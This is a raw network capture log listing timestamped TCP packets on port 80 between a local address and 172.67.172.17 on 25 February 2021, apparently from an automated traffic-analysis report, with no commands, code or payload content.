Feb 25, 2021 15:14:53.198226929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198791981 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198827982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198854923 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198878050 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198880911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198906898 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198919058 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198930979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198956966 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.198967934 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.198981047 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199003935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199013948 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199026108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199049950 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199059010 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199074030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199098110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199106932 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199122906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199147940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199158907 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199172020 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199207067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199732065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199755907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199769020 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199785948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199803114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199826002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199834108 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199848890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199865103 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199872017 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199896097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199903011 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199917078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199939013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199947119 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.199960947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199985981 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.199990988 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200009108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200031042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200038910 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200053930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200084925 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200690031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200715065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200733900 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200751066 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200757027 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200773954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200786114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200799942 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200817108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200833082 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200839043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200860977 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200869083 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200879097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200901031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200908899 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200923920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200942993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200956106 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200958967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200975895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.200989008 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.200994968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.201024055 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.220994949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221036911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221072912 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221082926 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221086025 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221107960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221128941 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221136093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221159935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221172094 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221184015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221218109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221240044 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221244097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221270084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221281052 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221299887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221324921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221349001 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221349955 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221374989 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221402884 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221417904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221441984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221455097 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221468925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221496105 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221506119 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221513033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221535921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221553087 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221565008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221584082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221602917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221631050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221657038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221681118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221683025 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221709013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221724987 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221735001 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221750021 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221759081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221784115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221797943 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221808910 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221832037 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221843958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221857071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221879005 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221890926 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.221904993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.221942902 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222459078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222496033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222506046 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222532988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222559929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222568035 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222584963 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222601891 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222609997 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222629070 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222635984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222660065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222670078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222683907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222707033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222719908 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222732067 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222760916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222767115 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222786903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222810984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222829103 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.222834110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.222894907 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223432064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223460913 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223485947 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223510027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223510027 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223536015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223548889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223563910 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223588943 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223603010 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223615885 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223642111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223653078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223666906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223690987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223702908 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223716021 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223738909 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223750114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223764896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223788977 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223799944 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.223817110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.223860025 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224407911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224430084 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224448919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224467993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224498987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224524975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224550009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224575996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224576950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224601030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224613905 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224625111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224651098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224661112 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224678993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224704027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224715948 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224728107 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224752903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224765062 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.224777937 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.224812984 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225331068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225431919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225455999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225480080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225480080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225507021 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225518942 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225533009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225560904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225569963 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225585938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225610971 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225619078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225635052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225658894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225672960 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225682020 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225708961 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225717068 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225733995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225758076 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225769997 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.225781918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.225817919 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226289988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226316929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226363897 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226427078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226450920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226480007 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226490974 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226505995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226531029 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226541996 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226557016 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226583958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226608992 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226609945 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226634979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226648092 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226663113 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226690054 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226699114 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226716042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226738930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226748943 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.226763964 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.226802111 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227211952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227241039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227264881 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227286100 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227292061 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227314949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227344036 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227353096 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227370024 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227376938 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227395058 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227420092 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227431059 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227443933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227468014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227478981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227495909 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227521896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227533102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227546930 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227571011 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227582932 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.227597952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.227632046 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228205919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228236914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228260994 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228281975 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228286028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228315115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228337049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228337049 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228362083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228374004 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228387117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228415012 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228424072 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228441954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228466988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228488922 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228490114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228513002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228532076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228537083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228562117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228574991 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.228585958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.228622913 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229130030 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229176044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229198933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229223013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229223013 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229259014 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229280949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229306936 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229331970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229351044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229372025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229398966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229408979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229434013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229469061 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229479074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229506969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229515076 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229527950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229532003 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229553938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.229562044 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.229592085 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230073929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230099916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230120897 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230139971 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230142117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230181932 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230216026 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230238914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230263948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230283022 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230290890 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230314970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230326891 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230338097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230365038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230374098 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230389118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230412960 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230431080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230443954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230467081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230487108 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.230489969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.230531931 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:53.231012106 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:53.231045961 CET	80	49708	172.67.172.17	192.168.2.7
